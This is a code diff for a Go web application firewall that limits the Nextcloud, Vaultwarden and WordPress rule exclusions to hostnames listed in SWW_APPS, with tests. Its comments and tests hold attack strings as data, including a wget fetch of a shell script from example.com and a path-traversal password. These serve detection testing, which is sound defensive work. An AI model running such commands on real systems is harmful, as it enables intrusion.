|
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
|
||||||
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
|
||||||
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
# sends a search, a name, a file name, a folder, a comment, a note, a status or
|
||||||
# a document's text. Each exclusion runs with the request, before the rules it
|
# a document's text. Each exclusion runs with the request, before the rules it
|
||||||
@@ -29,6 +29,13 @@
|
|||||||
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
|
||||||
# injection, path traversal and script injection are still refused there.
|
# injection, path traversal and script injection are still refused there.
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
|
||||||
|
# is skipped. Inspect sets tx.app_nextcloud when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_nextcloud itself.
|
||||||
|
SecRule &TX:app_nextcloud "@eq 0" \
|
||||||
|
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
|
||||||
|
|
||||||
# The sync client and the Files app use these WebDAV methods besides those
|
# The sync client and the Files app use these WebDAV methods besides those
|
||||||
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
|
||||||
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
|
||||||
@@ -61,46 +68,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|||||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
|
||||||
|
|
||||||
# The password, in the body, skips each rule that random passwords set off.
|
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
|
|
||||||
"id:900119,phase:1,pass,nolog,chain"
|
|
||||||
SecRule &ARGS_GET:password "@eq 0" \
|
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:password,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:password"
|
|
||||||
|
|
||||||
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
|
||||||
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
|
||||||
"id:900103,phase:1,pass,nolog,\
|
"id:900103,phase:1,pass,nolog,\
|
||||||
@@ -286,3 +253,5 @@ SecRule REQUEST_FILENAME "@rx ^/remote\.php/dav/systemtags/?$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
|
||||||
"id:900118,phase:1,pass,nolog,chain"
|
"id:900118,phase:1,pass,nolog,chain"
|
||||||
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
SecRule REQUEST_METHOD "@streq PUT" "ctl:requestBodyProcessor=RAW"
|
||||||
|
|
||||||
|
SecMarker END_NEXTCLOUD
|
||||||
@@ -15,9 +15,6 @@ import (
|
|||||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const nextcloudThreshold = 5
|
const nextcloudThreshold = 5
|
||||||
|
|
||||||
// nextcloudSignIn is the sign-in page.
|
|
||||||
const nextcloudSignIn = "/login"
|
|
||||||
|
|
||||||
// nextcloudShare is a public share's page.
|
// nextcloudShare is a public share's page.
|
||||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||||
|
|
||||||
@@ -50,10 +47,41 @@ const (
|
|||||||
// nextcloudOther is a JSON field no exclusion names.
|
// nextcloudOther is a JSON field no exclusion names.
|
||||||
const nextcloudOther = `{"other":"python3"}`
|
const nextcloudOther = `{"other":"python3"}`
|
||||||
|
|
||||||
|
// nextcloud is Nextcloud's name in SWW_APPS.
|
||||||
|
const nextcloud = "nextcloud"
|
||||||
|
|
||||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
wantRecordedRequestsPass(t, "nextcloud-requests.txt", nextcloud)
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudFixesApplyOnlyToAHostnameThatServesNextcloud(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||||
|
})
|
||||||
|
|
||||||
|
// A search, which only Nextcloud's fixes let through.
|
||||||
|
search := get(nextcloudUsers + "?search=python3")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestNextcloudWebDAVMethodsPassOnlyOnHostnamesThatServeNextcloud(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {nextcloud},
|
||||||
|
})
|
||||||
|
|
||||||
|
// Listing a folder, as the sync client does.
|
||||||
|
list := request{nextcloudPropFind, nextcloudFiles, nil}
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(list, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(list, giteaHost), matched(911100))
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||||
@@ -85,7 +113,8 @@ var nextcloudQueryFields = []string{
|
|||||||
//
|
//
|
||||||
//nolint:gochecknoglobals // a constant cannot be a list
|
//nolint:gochecknoglobals // a constant cannot be a list
|
||||||
var nextcloudFormFields = []struct{ target, field string }{
|
var nextcloudFormFields = []struct{ target, field string }{
|
||||||
{nextcloudSignIn, "user="},
|
{"/login", "user="},
|
||||||
|
{"/login", passwordField},
|
||||||
{nextcloudUsers, "userid="},
|
{nextcloudUsers, "userid="},
|
||||||
{nextcloudUsers, "displayName="},
|
{nextcloudUsers, "displayName="},
|
||||||
{nextcloudUsers, "groups%5B%5D="},
|
{nextcloudUsers, "groups%5B%5D="},
|
||||||
@@ -255,17 +284,6 @@ func nextcloudTextScores(t *testing.T, text string) map[string]int {
|
|||||||
return scores
|
return scores
|
||||||
}
|
}
|
||||||
|
|
||||||
// nextcloudPasswordScore returns the score that the Core Rule Set, reading
|
|
||||||
// bodies, gives signing in with value, a query value, as the password.
|
|
||||||
func nextcloudPasswordScore(t *testing.T, value string) int {
|
|
||||||
t.Helper()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
got, _ := inspectBody(t, readingBodies(t), r, passwordField+value)
|
|
||||||
|
|
||||||
return got.Score
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -275,24 +293,8 @@ func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s refused: %d", request, score)
|
t.Errorf("%s refused: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, value); score >= nextcloudThreshold {
|
|
||||||
t.Errorf("password %s refused: %d", value, score)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudPasswordPasses(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
r := request{http.MethodPost, nextcloudSignIn, []string{formData}}
|
|
||||||
|
|
||||||
wantRandomPasswordsPass(t, r, "password")
|
|
||||||
|
|
||||||
// No rule the password keeps catches the SQL injection or the path
|
|
||||||
// traversal.
|
|
||||||
wantPasswordAttacksRefused(t, r, "password", scriptTag)
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
func TestNextcloudSentencesPassInTheTexts(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
@@ -342,10 +344,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
|||||||
t.Errorf("%s let through: %d", request, score)
|
t.Errorf("%s let through: %d", request, score)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
|
||||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
# The thirteenth change: on Vaultwarden's paths, some fields skip the rules that
|
# Vaultwarden's fixes: on Vaultwarden's paths, some fields skip the rules that
|
||||||
# refused ordinary Vaultwarden requests there. They are the fields where
|
# refused ordinary Vaultwarden requests there. They are the fields where
|
||||||
# Vaultwarden receives a name, a password hint or an email address in plain
|
# Vaultwarden receives a name, a password hint or an email address in plain
|
||||||
# text, and the names of uploaded files. Each exclusion runs with the request,
|
# text, and the names of uploaded files. Each exclusion runs with the request,
|
||||||
@@ -17,6 +17,13 @@
|
|||||||
# 932250: ls -la
|
# 932250: ls -la
|
||||||
# 932260: python3
|
# 932260: python3
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists vaultwarden for the request's hostname, every rule below
|
||||||
|
# is skipped. Inspect sets tx.app_vaultwarden when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_vaultwarden itself.
|
||||||
|
SecRule &TX:app_vaultwarden "@eq 0" \
|
||||||
|
"id:900140,phase:1,pass,nolog,skipAfter:END_VAULTWARDEN"
|
||||||
|
|
||||||
# Names and password hints, in JSON bodies, skip the four rules:
|
# Names and password hints, in JSON bodies, skip the four rules:
|
||||||
# name: signing up, editing the account's profile, and creating or renaming
|
# name: signing up, editing the account's profile, and creating or renaming
|
||||||
# an organization or a group, "python3 .htaccess team"
|
# an organization or a group, "python3 .htaccess team"
|
||||||
@@ -82,3 +89,5 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
|||||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||||
"id:900153,phase:1,pass,nolog,\
|
"id:900153,phase:1,pass,nolog,\
|
||||||
ctl:ruleRemoveTargetById=920120;FILES"
|
ctl:ruleRemoveTargetById=920120;FILES"
|
||||||
|
|
||||||
|
SecMarker END_VAULTWARDEN
|
||||||
@@ -7,6 +7,8 @@ import (
|
|||||||
"slices"
|
"slices"
|
||||||
"strings"
|
"strings"
|
||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||||
)
|
)
|
||||||
|
|
||||||
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
// vaultwardenThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
@@ -30,7 +32,22 @@ const vaultwardenEmail = `{"email":"VALUE"}`
|
|||||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
wantRecordedRequestsPass(t, "vaultwarden-requests.txt", "vaultwarden")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVaultwardenFixesApplyOnlyToAHostnameThatServesVaultwarden(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := servingApps(t, map[string][]string{
|
||||||
|
giteaHost: {gitea}, otherHost: {"vaultwarden"},
|
||||||
|
})
|
||||||
|
|
||||||
|
// An address for the data breach report, which only Vaultwarden's fixes
|
||||||
|
// let through.
|
||||||
|
report := get(vaultwardenBreachReport + "python3%40example.com")
|
||||||
|
|
||||||
|
wantResult(t, crs, withHost(report, otherHost), coreruleset.Result{})
|
||||||
|
wantResult(t, crs, withHost(report, giteaHost), matched(932260))
|
||||||
}
|
}
|
||||||
|
|
||||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||||
|
|||||||
@@ -1,10 +1,17 @@
|
|||||||
# The ninth change: on WordPress's paths, some fields skip the rules that refused
|
# WordPress's fixes: on WordPress's paths, some fields skip the rules that refused
|
||||||
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
# ordinary WordPress requests there. Each exclusion runs with the request, before
|
||||||
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
# the rules it switches off, so this file is loaded before the Core Rule Set's
|
||||||
# rules. Each comment names a request the rule refused. An exclusion on a field
|
# rules. Each comment names a request the rule refused. An exclusion on a field
|
||||||
# of a body applies only when the query has no parameter of that name, so it
|
# of a body applies only when the query has no parameter of that name, so it
|
||||||
# matters only while SWW_WAF_BODY_LIMIT is set.
|
# matters only while SWW_WAF_BODY_LIMIT is set.
|
||||||
|
|
||||||
|
# Unless SWW_APPS lists wordpress for the request's hostname, every rule below is
|
||||||
|
# skipped. Inspect sets tx.app_wordpress when it does.
|
||||||
|
# The skip reaches only phase 1, so a rule of a later phase must check
|
||||||
|
# tx.app_wordpress itself.
|
||||||
|
SecRule &TX:app_wordpress "@eq 0" \
|
||||||
|
"id:900690,phase:1,pass,nolog,skipAfter:END_WORDPRESS"
|
||||||
|
|
||||||
# WordPress takes a call to its REST API at any of four addresses:
|
# WordPress takes a call to its REST API at any of four addresses:
|
||||||
# /wp-json/wp/v2/posts/1
|
# /wp-json/wp/v2/posts/1
|
||||||
# /index.php/wp-json/wp/v2/posts/1
|
# /index.php/wp-json/wp/v2/posts/1
|
||||||
@@ -96,45 +103,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
|||||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||||
|
|
||||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
# Signing in, in pwd, where a password holds any characters:
|
||||||
|
# 930120: a password ending in /etc/hosts
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||||
"id:900704,phase:1,pass,nolog,chain"
|
"id:900704,phase:1,pass,nolog,chain"
|
||||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
|
||||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
|
||||||
|
|
||||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||||
@@ -229,3 +202,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:(?:index\.php/)?page/[0-9]+/?|index\.php)?$"
|
|||||||
# so skips 932340 there.
|
# so skips 932340 there.
|
||||||
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
SecRule REQUEST_FILENAME "@streq /wp-admin/upload.php" \
|
||||||
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
"id:900711,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932340;ARGS:_wp_http_referer"
|
||||||
|
|
||||||
|
SecMarker END_WORDPRESS
|
||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
|
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
)
|
)
|
||||||
@@ -21,6 +22,7 @@ const (
|
|||||||
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
|
||||||
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
|
||||||
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
|
||||||
|
apps = "SWW_APPS"
|
||||||
block = "block"
|
block = "block"
|
||||||
detect = "detect"
|
detect = "detect"
|
||||||
)
|
)
|
||||||
@@ -290,6 +292,27 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
|
||||||
|
t.Parallel()
|
||||||
|
|
||||||
|
// Only gitea's fixes let a file name through in path, a parameter
|
||||||
|
// gitea sends file names in.
|
||||||
|
const fileName = "/?path=.gitignore"
|
||||||
|
|
||||||
|
s := startDiscriminator(t, "", map[string]string{
|
||||||
|
wafMode: block, apps: siteA + ":gitea",
|
||||||
|
})
|
||||||
|
|
||||||
|
wantDisposition(t, do(t, s.question(siteA, client, fileName)),
|
||||||
|
http.StatusOK, discriminator.DispositionAllow)
|
||||||
|
wantDisposition(t, do(t, s.question(siteB, client, fileName)),
|
||||||
|
http.StatusForbidden, discriminator.DispositionDeny)
|
||||||
|
|
||||||
|
lines := s.out.requestLines(t, 2)
|
||||||
|
wantLine(t, lines[0], http.StatusOK, requestlog.ActionForward)
|
||||||
|
wantLine(t, lines[1], http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
|
||||||
|
}
|
||||||
|
|
||||||
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
|
|||||||
@@ -221,7 +221,8 @@ func newReputation(
|
|||||||
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
|
||||||
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
|
||||||
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
|
||||||
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
|
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE and the fixes of the apps in SWW_APPS,
|
||||||
|
// or nil while SWW_WAF_MODE is off. It
|
||||||
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
|
||||||
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
|
||||||
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
|
||||||
@@ -236,6 +237,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
|
|||||||
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
|
||||||
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
BodyLimit: min(cfg.WAFBodyLimit, QuestionBodyMaxBytes-1),
|
||||||
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
|
||||||
|
Apps: cfg.Apps,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
|
||||||
|
|||||||
Reference in new issue
Block a user